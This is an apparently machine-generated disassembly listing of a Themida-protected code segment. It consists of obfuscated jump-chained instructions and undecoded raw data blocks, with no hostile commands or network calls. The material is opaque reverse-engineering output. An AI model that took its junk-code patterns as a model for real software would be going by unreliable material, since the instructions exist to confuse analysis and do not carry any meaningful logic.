; ---------------------------------------------------------------------------
loc_4FE33D: ; CODE XREF: Themida_:00500372j
not edx
jmp loc_4FDDFE
; ---------------------------------------------------------------------------
dd 4C481h, 0C3810000h, 84E4854h, 1C8BD921h, 8DEEE924h
dd 875AFFFFh, 0FF5C240Ch, 81582434h, 4ECh, 24048900h, 20BCE951h
dd 0D0010000h, 2404875Ah, 8966645Ch, 7DACE902h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FE382: ; CODE XREF: Themida_:004F698Aj
pop dword ptr [esp]
pop esp
mov [esp], ecx
push ebx
push edx
mov edx, 535C3FD5h
xor edx, 74AA0E54h
add edx, 0D809CE80h
mov ebx, edx
jmp loc_4F9862
; ---------------------------------------------------------------------------
db 81h
dd 0FA43ACCBh, 0BCBA525Ch, 297CFB67h, 0C7815AD3h, 698F7AB7h
dd 0BE9DF01h
db 23h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FE3BF: ; CODE XREF: Themida_:004FF76Aj
mov edx, 51042EAAh
neg edx
shl edx, 3
neg edx
inc edx
xor edx, 88217555h
add ebp, edx
pop edx
add ebp, 4
xchg ebp, [esp]
pop esp
xor bl, al
movzx eax, al
mov dx, [esp]
push 423Ch
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_4FD83C
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 0E9000000h, 0FFFFCB2Eh
; ---------------------------------------------------------------------------
loc_4FE408: ; CODE XREF: Themida_:00500A4Dj
inc edi
shr edi, 8
push esi
mov esi, 405C32F6h
add edi, esi
mov esi, [esp]
jmp loc_502071
; ---------------------------------------------------------------------------
loc_4FE41C: ; CODE XREF: Themida_:004FA05Bj
inc esi
sub esi, 0BD6992BDh
mov edx, esi
jmp loc_4FA3EB
; ---------------------------------------------------------------------------
dw 5058h
dd 291EE9h, 5BD82900h, 5158C229h, 0FF9310E9h, 1EF81FFh
dd 51000000h, 1B4D8768h, 0C7815978h, 2AF56A08h, 0FF8A68E9h
dd 4EC83FFh, 67CE9h, 0C4C68100h, 0E94FA539h, 0FFFFCE17h
dd 0E932FF66h, 0FFFF78A2h, 2D59C801h, 4, 8B240487h, 0C892424h
dd 0E935B524h, 0FFFFC9C8h
; ---------------------------------------------------------------------------
loc_4FE488: ; CODE XREF: Themida_:00502076j
pop edi
push 3442h
mov [esp], ebp
mov ebp, 0EE26493h
add ebp, 128C709Fh
neg ebp
jmp loc_4F9045
; ---------------------------------------------------------------------------
db 1
dd 9BE95AD1h, 86FFFFCBh, 0D4DDE9C7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FE4B2: ; CODE XREF: Themida_:004FEB0Aj
inc edx
push ebp
mov ebp, 11C04F75h
or edx, ebp
pop ebp
jmp loc_501B85
; ---------------------------------------------------------------------------
loc_4FE4C1: ; CODE XREF: Themida_:004F8961j
shr ebp, 2
shr ebp, 6
xor ebp, 0A75236h
xor edi, ebp
pop ebp
jmp loc_4F8BFD
; ---------------------------------------------------------------------------
db 66h, 58h, 80h
dd 0C980DBE1h, 1CF180AEh, 3F40E9h, 1AC58100h, 81188298h
dd 0E968F1EBh, 0C94DE912h, 55CFFFFh, 4, 2BD55h, 0E8010000h
dd 1BA8E95Dh, 148B0000h, 4C48124h, 80000000h, 0EB28B4EBh
dd 0FFADE2E9h, 0C0F9B3FFh, 0EB8006E3h, 0D5C18076h, 0E980D900h
dd 9045BD5h, 58E9C828h, 5EFFFF84h, 47B6C681h, 0F7316072h
dd 8324348Bh, 0F2E904C4h, 2100002Fh, 2434FFD6h, 0E189515Ah
dd 4C181h, 0C1810000h, 4, 5C240C87h, 119FE9h, 0BE565F00h
dd 6A590EA9h, 29A8E9h
db 0
; ---------------------------------------------------------------------------
loc_4FE575: ; CODE XREF: Themida_:005018D2j
and eax, ebp
push dword ptr [esp]
pop ebp
sub esp, 4
mov [esp], ebp
jmp loc_4FABCA
; ---------------------------------------------------------------------------
db 68h, 9Bh, 28h
dd 14890000h, 39FD6824h, 3BE90000h, 0C1000036h, 0F18107E9h
dd 56FA2F6Ch, 50C2BE56h, 0F6814C6Dh, 7C87032Ah, 348BF109h
dd 4C48324h, 3B62E9h, 86BE5600h, 0B87E854Bh, 460F681Fh
dd 348BF031h, 4C48324h, 1ABE5648h, 29527E59h, 0E8C15EF0h
dd 0E9D8F704h, 0FFFFB559h
; ---------------------------------------------------------------------------
loc_4FE5E4: ; CODE XREF: Themida_:004F86F3j
mov ebx, 4
add eax, ebx
mov ebx, [esp]
add esp, 4
push 6D28h
mov [esp], eax
push dword ptr [esp+4]
jmp loc_4FA999
; ---------------------------------------------------------------------------
loc_4FE605: ; CODE XREF: Themida_:004FAEF2j
sub ecx, 5456496Dh
mov ebp, ecx
pop ecx
xor eax, ebp
jmp loc_4F9E79
; ---------------------------------------------------------------------------
loc_4FE615: ; CODE XREF: Themida_:005012C7j
pop edi
jmp loc_4F7EF3
; ---------------------------------------------------------------------------
db 33h
dd 0C31240Ch, 1448E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FE626: ; CODE XREF: Themida_:004FF7D0j
pop ebx
xchg eax, [esp]
mov esp, [esp]
pop ecx
jmp loc_4FFC2F
; ---------------------------------------------------------------------------
db 81h
dd 2C4h, 83B65200h, 86A8B450h, 86C3FEDCh, 37C480DCh, 0FFB9BAE9h
dd 24348BFFh, 104C483h, 0BB535DEEh, 38232876h, 0E901EB83h
dd 0FFFFC349h, 0BA52D001h, 2CB2B90h, 79E9D001h, 0B4FFFF77h
dd 3004B763h, 1226E9E7h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FE67E: ; CODE XREF: Themida_:004F7849j
pop esp
push ebp
push esp
pop ebp
jmp loc_4FA49B
; ---------------------------------------------------------------------------
db 54h
dd 0FF9D4DE9h, 515A66FFh, 5D5968h, 24148900h, 0C280CFB2h
dd 0A1B353F9h, 1590E9h, 242C8100h, 6090A4Dh, 0D5685657h
dd 0E96FD624h, 3DE5h, 0AEBD555Dh, 0E940D27Bh, 0FFFFAE08h
; ---------------------------------------------------------------------------
loc_4FE6C4: ; CODE XREF: Themida_:004F6796j
pop edx
sub eax, 0E0A60AAh
jmp loc_4F9355
; ---------------------------------------------------------------------------
db 0F7h
dd 0EE952DDh, 66FFFFC4h, 0B1B25258h, 0E929EA80h, 0FFFFCEEDh
dd 906EA81h, 0C2016AC9h, 906C281h, 0BE566AC9h, 2A896CF5h
dd 535EF201h, 18119BBBh, 5BDA017Eh, 0FF7609E9h, 38B368FFh
dd 34890000h, 66DABE24h, 0F52942A0h, 0BF575B5Eh, 23CA1F3Fh
dd 207FE9h, 90E95300h, 50FFFFEFh, 734D5CB8h, 32C12D77h
dd 0C10192C2h, 0D7C18158h, 8104DD62h, 0FE3165E9h, 81F1016Eh
dd 0FE3165C1h, 4FE9576Eh, 66FFFFAFh, 66243433h, 66243431h
dd 3431665Eh, 34336624h, 34316624h, 75A4E924h, 8B66FFFFh
dd 5452240Ch, 4C2815Ah, 81000000h, 4ECh, 0B4A0E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FE786: ; CODE XREF: Themida_:00500EC5j
push eax
mov eax, 31FB0FD3h
sub ebp, eax
pop eax
sub eax, 175913B1h
add eax, ebp
jmp loc_4FE03B
; ---------------------------------------------------------------------------
db 55h
dd 4711E7BDh
db 21h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_4FA6E9
; ---------------------------------------------------------------------------
dw 0A5BBh
dd 0F7588714h, 0C38143DBh, 588714A8h, 0FF810FE9h, 5FFB89FFh
dd 4A5BDA89h, 0EEE9DAF7h, 81FFFF9Fh, 397E77F2h, 3E2C12Eh
dd 0FF8F59E9h, 24248BFFh, 0FFF3FEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FE7E9: ; CODE XREF: Themida_:004F7EFCj
push eax
add dword ptr [esp], 2F202C1Dh
mov ebp, [esp]
add esp, 4
sub ebp, 2F202C1Dh
push dword ptr [esp]
jmp loc_5004BE
; ---------------------------------------------------------------------------
db 0FFh, 77h, 1Ch
dd 0D259669Dh, 0E99C241Ch, 2B48h
; ---------------------------------------------------------------------------
loc_4FE814: ; CODE XREF: Themida_:004FA4FAj
pop esp
jmp loc_4F90D7
; ---------------------------------------------------------------------------
dw 0EB81h
dd 31275EEDh, 0FF8373E9h, 24048BFFh, 8104C483h, 0C259C4C6h
dd 0E3EAE94Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FE836: ; CODE XREF: Themida_:004FDD5Ej
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
push esi
jmp loc_4FB3AB
; ---------------------------------------------------------------------------
dd 1BE95451h, 29FFFFBFh, 0EEBE56C3h, 1344B22h, 24348BF3h
dd 5504C483h, 0FFED94E9h, 52AD66FFh, 0FFEC26E9h, 5AD101FFh
dd 4C181h, 0C870000h, 0C0835C24h, 24048702h, 6624248Bh
dd 9C2404FFh, 0FF7485E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FE88D: ; CODE XREF: Themida_:00501B51j
xchg edi, [esp]
pop esp
push 4BEEh
jmp loc_4F6913
; ---------------------------------------------------------------------------
db 53h
dd 0FF9152E9h, 24048BFFh, 0E904C483h, 0FFFFE250h, 0A4E9EA21h
dd 66FFFF83h, 52240C8Bh, 2434FF54h, 8124148Bh, 4C4h, 4C48300h
dd 4B850h, 0EDE90000h, 81FFFF86h, 8C2C80F2h, 5AD10114h
dd 8704E983h, 895C240Ch, 2E9243Ch, 0B8000005h, 6F9973E9h
dd 5158C229h, 867650B9h, 59CA0123h, 0FF797EE9h, 2474FFFFh
dd 2434FF04h, 4C48159h, 8F000000h, 248B2404h, 240CD324h
dd 73F4E99Ch, 0C680FFFFh, 66F58601h, 0B7536650h, 66FC88ECh
dd 66E5085Bh, 0C0D5F658h, 0D5F604EDh, 80E3C580h, 0EB287AEBh
dd 597AC380h, 0C380C328h, 0C0B60FE1h, 148B5452h, 4C48324h
dd 3876BE56h, 73E95F27h, 8000003Bh, 0EB806DE3h, 8BD80019h
dd 0C483241Ch, 66F02804h, 0E9E7B151h, 0FFFFB52Dh
; ---------------------------------------------------------------------------
loc_4FE978: ; CODE XREF: Themida_:005015D7j
sub eax, 7FC6FCE2h
sub ebx, eax
push dword ptr [esp]
pop eax
jmp loc_4F976E
; ---------------------------------------------------------------------------
dd 0A36EEBBFh, 0D1EFD13Dh, 0EF8147E7h, 38834FCh, 0EE6FE953h
dd 0C581FFFFh, 7FF50CB0h, 0FFA6C0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FE9A9: ; CODE XREF: Themida_:005007E7j
sub edi, 0FFF72D9Ah
sub eax, edi
pop edi
sub ebp, 2DB45A28h
sub ebp, 39E81A4Bh
add ebp, eax
jmp loc_4FCDBC
; ---------------------------------------------------------------------------
loc_4FE9C5: ; CODE XREF: Themida_:00501F66j
xchg ebx, [esp]
pop esp
pop eax
sub esp, 4
mov [esp], ebp
sub esp, 4
jmp loc_5002BE
; ---------------------------------------------------------------------------
aIsrs db '‰áRé¶ ',0
align 2
dw 0D909h
dd 0FFB840E9h, 5AD389FFh, 38C5EB81h, 0C3017B92h, 38C5C381h
dd 0E5E97B92h
db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FEA03: ; CODE XREF: Themida_:005018B9j
sub edi, esi
jmp loc_4F7186
; ---------------------------------------------------------------------------
dw 0EC81h
dd 4, 0B6241489h, 0F2E950ECh, 89FFFF99h, 4C781E7h, 83000000h
dd 3C8704C7h, 0FF555C24h, 8B042474h, 0C483242Ch, 24048F04h
dd 9FBE9h
db 0
; ---------------------------------------------------------------------------
loc_4FEA3D: ; CODE XREF: Themida_:004FC588j
push esi
jmp loc_4FC1F1
; ---------------------------------------------------------------------------
db 5Ch
dd 24048F54h, 3F9B951h, 0D1F75650h, 3FEC181h, 0DCE95650h
db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FEA5B: ; CODE XREF: Themida_:004F8C78j
mov ebx, [esp]
add esp, 4
jmp loc_4FDB18
; ---------------------------------------------------------------------------
dw 1C89h
dd 0BF4FBB24h, 0DA2988A1h, 8BD3895Bh, 73E92414h
db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FEA7B: ; CODE XREF: Themida_:00501B48j
mov eax, ecx
mov ecx, [esp]
add esp, 4
inc eax
inc eax
jmp loc_4FE185
; ---------------------------------------------------------------------------
loc_4FEA8A: ; CODE XREF: Themida_:004FBA4Bj
mov eax, 4
add edx, eax
jmp loc_4FAA7B
; ---------------------------------------------------------------------------
dw 0E300h
dd 0FF99FAE9h, 564ABBFFh, 0D3F70814h, 636EE381h, 504B77AAh
dd 233819B8h, 0F2BD5566h, 29EE7916h, 0C3315DE8h, 8124048Bh
dd 4C4h, 0C4C28100h, 0E916F905h, 0FFFFA3FDh, 5153DE87h
dd 0FF787FE9h, 240C89FFh, 0E957E189h, 0FFFF8066h
; ---------------------------------------------------------------------------
loc_4FEAE4: ; CODE XREF: Themida_:004FA71Cj
and esi, 56CC21DFh
not esi
jmp loc_5017C5
; ---------------------------------------------------------------------------
db 52h, 0BAh, 4
dd 1000000h, 5A042454h, 0E924048Bh, 0F01h
; ---------------------------------------------------------------------------
loc_4FEB04: ; CODE XREF: Themida_:004FC225j
push edx
mov edx, 18DB711Ch
jmp loc_4FE4B2
; ---------------------------------------------------------------------------
db 30h
dd 7A0EE9CFh, 685FFFFFh, 5ABh, 0FF8CABE9h, 1FEA81FFh, 0D1127F6Ch
dd 0ECEA81EAh, 89164009h, 24148BD1h, 4C481h, 5FE90000h
db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FEB3F: ; CODE XREF: Themida_:004FB63Bj
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
sub dword ptr [esp+4], 310680h
pop eax
pop dword ptr [edi+24h]
loc_4FEB5A: ; CODE XREF: Themida_:004F98DCj
push edx
push ebx
jmp loc_4FDC83
; ---------------------------------------------------------------------------
loc_4FEB61: ; CODE XREF: Themida_:004F821Dj
pop esp
add edx, 5F9946ECh
pop eax
shl edx, 2
push ecx
mov ecx, 75EF001Eh
jmp loc_4F8F9C
; ---------------------------------------------------------------------------
db 29h
dd 24148BD3h, 0FFA63BE9h, 0AEE281FFh, 0E921EE40h, 0FFFFAAC6h
dd 0E95FF931h, 2D43h, 0ED4CD81h, 0F581594Fh, 5DE427DEh
dd 685DEF89h, 0DF8h, 0BE243489h, 65480318h, 0FFC26FE9h
dd 0B65266FFh, 0AE34E96Fh, 401FFFFh, 3A9AE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FEBC6: ; CODE XREF: Themida_:004FDB25j
mov esi, 214B36A3h
jmp loc_50090B
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_4F6DB5
; ---------------------------------------------------------------------------
dw 34FFh
dd 240C8B24h, 4C481h, 5680000h, 8900006Fh, 0E6892434h
dd 8904EC83h, 4B9240Ch, 1000000h, 240C8BCEh, 4C481h, 0E9530000h
dd 0FFFFC85Ah, 24048B66h, 0FF9B95E9h, 5EF701FFh, 6DE9525Eh
dd 0B8FFFF83h, 50DF0427h, 218FE9h, 4EC8300h, 83242489h
dd 8B042404h, 0C483243Ch, 0B8BB5304h, 0E928E96Ah, 0A43h
dd 4FC38166h, 0C7686638h, 4896600h, 8B86624h, 0C329663Bh
dd 1665866h, 0C38166C3h, 42E93B08h
db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_4FF589
; ---------------------------------------------------------------------------
db 89h, 0D5h, 5Ah
dd 4246C01h, 0FF8772E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FEC85: ; CODE XREF: Themida_:004FFA8Bj
add ebp, eax
pop eax
push edx
mov edx, 35A10495h
sub edx, 0FFFFFFFFh
add edx, 1
add edx, 1
sub edx, 35A10494h
add ebp, edx
mov edx, [esp]
add esp, 4
xchg ebp, [esp]
pop esp
jmp loc_4FB79E
; ---------------------------------------------------------------------------
dw 0F681h
dd 228434BBh, 609F681h, 6BE93EC6h
db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FECBF: ; CODE XREF: Themida_:004FEE35j
mov ebp, edi
pop edi
sub ebp, 67CC0EE4h
jmp loc_4F8344
; ---------------------------------------------------------------------------
db 83h, 0ECh, 2
dd 24348966h, 2474FF66h, 348B6602h, 2C48324h, 24048F66h
dd 66EE8766h, 14F76655h, 665D6624h, 0C8E9EE31h, 66FFFFDBh
dd 66276DBEh, 8B66F329h, 0C4812434h, 2, 66C0B70Fh, 6668AB68h
dd 0E9240489h, 0FFFF6FFAh
; ---------------------------------------------------------------------------
loc_4FED18: ; CODE XREF: Themida_:004FA775j
pop dword ptr [esp]
jmp loc_5020D4
; ---------------------------------------------------------------------------
dd 0C580DCB5h, 5E5C032h, 0DDF6C5FEh, 0FFE4A6E9h, 2414F7FFh
dd 6EEC15Eh, 8CFE9h, 68525700h, 60D23274h, 8324148Bh, 0BD5504C4h
dd 469E1BADh, 0FF85F2E9h, 4C483FFh, 117668h, 0CBC4E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FED62: ; CODE XREF: Themida_:004F8CBFj
sub bh, ch
jmp loc_4FF66F
; ---------------------------------------------------------------------------
db 5Ah, 0E9h, 0A3h
db 6Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FED6F: ; CODE XREF: Themida_:004FD65Cj
push eax
mov eax, 47146076h
jmp loc_4FC581
; ---------------------------------------------------------------------------
dw 5954h
dd 0FF9B43E9h, 240489FFh, 8B241CF7h, 0C4812404h, 4, 0F98FE951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FED96: ; CODE XREF: Themida_:004F8FE6j
push 53Ch
jmp loc_4F9B66
; ---------------------------------------------------------------------------
dd 0EF81DFF7h, 4BA6456Ah, 32CEE9h
db 0
; ---------------------------------------------------------------------------
loc_4FEDAD: ; CODE XREF: Themida_:0050039Bj
pop ebp
jmp loc_4FBAFF
; ---------------------------------------------------------------------------
db 66h
dd 66241489h, 53E99C50h, 58FFFF6Fh, 0E903EFC0h, 0FFFFBCE3h
; ---------------------------------------------------------------------------
loc_4FEDC8: ; CODE XREF: Themida_:00501163j
push 0A54h
mov [esp], ebp
mov ebp, 3E981727h
mov edx, ebp
jmp loc_5005EB
; ---------------------------------------------------------------------------
loc_4FEDDC: ; CODE XREF: Themida_:004F8D1Fj
add ebx, eax
add ebx, 51D979E1h
pop eax
and eax, ebx
pop ebx
jmp loc_4FA5E0
; ---------------------------------------------------------------------------
db 0BFh, 0B9h, 69h
dd 0E7C14862h, 66F78108h, 15532D1h, 34FF5FF8h, 0C4815D24h
dd 4, 19C4E9h
db 0
; ---------------------------------------------------------------------------
loc_4FEE0D: ; CODE XREF: Themida_:004F85CAj
xor ecx, 315B3758h
xor ecx, 22C36D25h
xor ecx, 628C29ABh
push esi
push ecx
push ebp
push edi
push 6F30414Fh
pop edi
sub edi, 239B12AAh
xor edi, 7F1C3E96h
jmp loc_4FECBF
; ---------------------------------------------------------------------------
dw 0E981h
dd 2, 8B240C87h, 68E92424h, 59FFFFFFh, 0E904C483h, 0FFFFE2A9h
dd 89E9CA31h
db 0Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FEE5B: ; CODE XREF: Themida_:004FA3C3j
pop esp
push ebx
mov ebx, esp
add ebx, 4
push ecx
mov ecx, 4
sub ebx, ecx
mov ecx, [esp]
add esp, 4
xchg ebx, [esp]
jmp loc_500A6C
; ---------------------------------------------------------------------------
loc_4FEE7E: ; CODE XREF: Themida_:004F9433j
add esi, edi
mov edi, [esp]
add esp, 4
mov ecx, esi
pop esi
and eax, ecx
mov ecx, [esp]
add esp, 4
or edx, eax
shl edx, 1
jmp loc_4F7F5C
; ---------------------------------------------------------------------------
dd 0E9240489h, 2DB1h, 1EB68h, 241C8900h, 0FF8C41E9h, 2434FFFFh
dd 0E924348Bh, 15EAh, 48B665Ch, 8B545724h, 4DE9243Ch
db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FEECF: ; CODE XREF: Themida_:00500D61j
sub ebx, 3D31D669h
add ecx, ebx
pop ebx
add edi, ecx
jmp loc_501B4D
; ---------------------------------------------------------------------------
db 50h
dd 4B8h, 24440100h, 0E9585804h, 0FFFFB077h, 0C681E689h
dd 4, 4EE81h, 34870000h, 0C6AAE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FEF06: ; CODE XREF: Themida_:004FF95Cj
push 2B3Ch
mov [esp], esi
push esp
pop esi
add esi, 4
add esi, 4
jmp loc_4F6434
; ---------------------------------------------------------------------------
loc_4FEF21: ; CODE XREF: Themida_:004F949Cj
pop ecx
push 33F5h
mov [esp], edx
push dword ptr [esp]
jmp loc_4FAFB2
; ---------------------------------------------------------------------------
aPuxExhbu db 'PUX]E•hu',0
dd 0FE3FE900h, 77FFFFFFh, 19589D1Ch, 0E99C2404h, 0FFFF6DC2h
dd 815E5456h, 4C6h, 4C68100h, 0E9000000h, 0FFFFC842h, 0D0468B35h
dd 94D7E901h, 0E952FFFFh, 0FFFFA4ACh, 33240431h, 665C2404h
dd 2404BB0Fh, 6D8CE99Ch, 0F75AFFFFh, 2E5C1DDh, 0E7E9D5F7h
dd 59FFFFACh, 31241C33h, 1C33241Ch, 24248B24h, 9C2424D3h
dd 0FF6D69E9h, 32FF64FFh, 0FFCFA1E9h, 53CA81FFh, 0E912EA57h
dd 0FFFFFB65h, 0F04991BAh, 81D2F74Dh, 71355FCAh, 5BCA8148h
dd 812DD20Eh, 996EA0F2h, 0EA81426Ch, 1A0F90EFh, 5DE9D029h
db 95h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FEFE3: ; CODE XREF: Themida_:00502706j
push esi
push dword ptr [esp+4]
jmp loc_4FDB2A
; ---------------------------------------------------------------------------
loc_4FEFED: ; CODE XREF: Themida_:004F6DB0j
push ebp
mov ebp, 4
mov ecx, ebp
pop ebp
push edi
jmp loc_4FAED1
; ---------------------------------------------------------------------------
dd 8107E1C1h, 593966C1h, 0B471E940h, 34FFFFFFh, 0C4835824h
dd 24048F04h, 0F324248Bh, 386203A5h, 3029E9h, 0C3E9AD00h
dd 5AFFFF81h, 5705E6C1h, 0DC9B14BFh, 5FFE29A2h, 315EF029h
dd 7FFA68C3h, 1C890000h, 2C685224h, 5A000000h, 215DE9h
dd 4EC8100h, 89000000h, 4832424h, 34FF0424h, 2434FF24h
dd 4C48159h, 0E9000000h, 0FFFF92ABh, 81242489h, 42404h
dd 55590000h, 0FF6BAEBDh, 324FE960h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FF082: ; CODE XREF: Themida_:004F959Dj
and ebp, 14BC40B4h
sub ebp, 79F24D34h
add ebp, 69464D18h
sub eax, ebp
pop ebp
xchg eax, [esp]
pop esp
jmp loc_501F28
; ---------------------------------------------------------------------------
dd 50240C8Bh, 2392E954h, 63E90000h, 5DFFFF6Ch, 0E9D18951h
dd 0FFFF8FA6h, 2474FF57h, 48F5F04h, 24248B24h, 0FF8A66E9h
dd 55E089FFh, 0FFEEB5E9h, 34D0F6FFh, 0C0D8F6B8h, 0B32C05E0h
dd 8058C588h, 0C5FE03CDh, 0D5F6C5FEh, 8090F580h, 0EC000EEDh
dd 4CEB8059h, 0C380E328h, 12E5E94Ch, 0E6C10000h, 8CEE8104h
dd 530AFF68h, 6081B850h, 98E97D8Ch, 81FFFFA3h, 4C4h, 7F78E900h
dd 8158FFFFh, 0F915F3E9h, 0A9E5E98Bh, 5866FFFFh, 6608E9C0h
dd 307BB753h, 0E95B66F9h, 0FFFF7FECh
; ---------------------------------------------------------------------------
loc_4FF13C: ; CODE XREF: Themida_:004F7F73j
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
push 33CBh
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
push eax
push 4
pop eax
add ecx, eax
jmp loc_4FAF08
; ---------------------------------------------------------------------------
db 57h
dd 0C781E789h, 4, 2108E9h, 7FF1B900h, 0E181401Ch, 7C3F4F8Ah
dd 4DF2C181h, 0BA5234BFh, 1199133Ah, 0E908EAC1h, 0BFEh
dd 4C381h, 0EB810000h, 4, 0FFC550E9h, 241489FFh, 0C281E289h
dd 4, 0EFBE9h
db 0
; ---------------------------------------------------------------------------
loc_4FF1C1: ; CODE XREF: Themida_:004FF782j
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edi
push esi
sub esp, 4
mov [esp], edi
push ebx
push ecx
mov ecx, 1C0E57A5h
mov ebx, 2A0870FBh
xor ebx, ecx
pop ecx
jmp loc_4FCE73
; ---------------------------------------------------------------------------
dw 8359h
dd 0BA5204C4h, 2B5F35D9h, 875AD309h, 87D1F7CBh, 8E3C1CBh
dd 0E000C381h, 0BE97F35h, 0E9FFFF6Bh, 0FFFF6B06h, 6E9C159h
dd 4483E981h, 50E9EE86h, 5D00002Dh, 535BDA01h, 0FFC033E9h
dd 2BA52FFh, 29000000h, 0FBE95AD1h
db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FF233: ; CODE XREF: Themida_:004F91EDj
add dword ptr [esp+4], 449A7DA3h
jmp loc_4FE1F3
; ---------------------------------------------------------------------------
dd 74B1A4B3h, 0FFAEBAE9h, 6EEC1FFh, 32EE81h, 0F2290100h
dd 0FF9C51E9h, 80C5FEFFh, 3AE965F5h
db 87h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FF263: ; CODE XREF: Themida_:004FBF73j
mov ebp, 510205DCh
mov ebx, 0BE077267h
add ebx, ebp
pop ebp
jmp loc_4F91E1
; ---------------------------------------------------------------------------
db 0BEh, 0B1h, 58h
dd 0B8BB28EDh, 1E99A17h, 814B5EF3h, 4ECh, 0E196E900h, 0D8F7FFFFh
dd 0F87B182Dh, 58C70100h, 4C781h, 0E9570000h, 0FFFFD3B6h
dd 0BE454805h, 2DE80150h, 50BE4548h, 81242C8Bh, 4C4h, 52950500h
dd 0D801034Dh, 0FFD591E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FF2C5: ; CODE XREF: Themida_:004F6F64j
add edi, 23981C28h
jmp loc_4FAA33
; ---------------------------------------------------------------------------
dd 98234368h, 3BE95A20h
db 1Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FF2DB: ; CODE XREF: Themida_:004FB7ECj
and eax, 19F02638h
or eax, 1C320F0Eh
xor eax, 631239C3h
add eax, 8C321C1Ah
add ecx, eax
pop eax
and edx, ecx
jmp loc_4F8796
; ---------------------------------------------------------------------------
db 81h, 0C1h, 4
dd 53000000h, 2565E9h
db 0
; ---------------------------------------------------------------------------
loc_4FF305: ; CODE XREF: Themida_:004F8798j
mov ebx, 52104881h
add edx, 522C3B1Ch
sub esp, 4
jmp loc_4FFEF1
; ---------------------------------------------------------------------------
db 1
dd 0F396E9E8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FF322: ; CODE XREF: Themida_:004F90A9j
push ecx
mov ecx, 7DBF25D0h
inc ecx
xor ecx, 41844A2Fh
push edx
mov edx, 0
sub edx, ecx
jmp loc_501888
; ---------------------------------------------------------------------------
dd 4BD5556h, 0E90CBB37h, 27Bh, 24048B66h, 419868h, 240C8900h
dd 240C8B54h, 25A8E9h, 9CE9AC00h
db 0Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FF363: ; CODE XREF: Themida_:004F7A96j
pop ebp
shl ebp, 8
jmp loc_4FABE4
; ---------------------------------------------------------------------------
dd 0E924148Bh, 0FFFFD078h
; ---------------------------------------------------------------------------
loc_4FF374: ; CODE XREF: Themida_:004FCE84j
sub edi, 0CA9FBE33h
jmp loc_4F6133
; ---------------------------------------------------------------------------
db 5Ah
dd 0B486E95Fh, 77FFFFFFh, 81BDE938h, 0C601FFFFh, 0E924048Bh
dd 0FFFFF838h, 280F2CACh, 4EC83D8h, 68241489h, 4FAFh, 0B3241C89h
dd 0FBBCE9D8h, 25BDFFFFh, 3155C857h, 19E95DE8h, 28FFFFACh
dd 33B050F3h, 14F65066h, 0C0586624h, 0E8C007E8h, 280D0404h
dd 24048BC3h, 4C481h, 665A0000h, 64B65251h, 0EDE9F588h
dd 0C1FFFF98h, 0BF0508E0h, 81687562h, 0EB5C68EAh, 57C20115h
dd 5C68BB53h, 0DF8915EBh, 83241C8Bh, 2EE904C4h, 0E9FFFF8Ah
dd 0FFFF68FEh
; ---------------------------------------------------------------------------
loc_4FF414: ; CODE XREF: Themida_:004FE2A5j
push esi
mov esi, 9AE3B94h
jmp loc_500DE4
; ---------------------------------------------------------------------------
db 81h
dd 2E1A42EDh, 4EDC139h, 2508C581h, 0EDC168CAh, 0E9DDF703h
dd 0FFFFF297h, 0E924248Bh, 0FFFF7805h, 5051F000h, 0FF6A51E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FF449: ; CODE XREF: Themida_:004FAD31j
pop ebx
add ebx, 4
jmp loc_4F8DCF
; ---------------------------------------------------------------------------
aBskd db 'ékD',0
dw 0E910h
dd 0FFFF7360h, 4C6815Eh, 0E9000000h, 3DEh
; ---------------------------------------------------------------------------
loc_4FF46C: ; CODE XREF: Themida_:004FA914j
add esp, 4
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_4FDE30
; ---------------------------------------------------------------------------
db 5Ch
dd 81242489h, 42404h, 34FF0000h, 0C4835F24h, 4C78104h
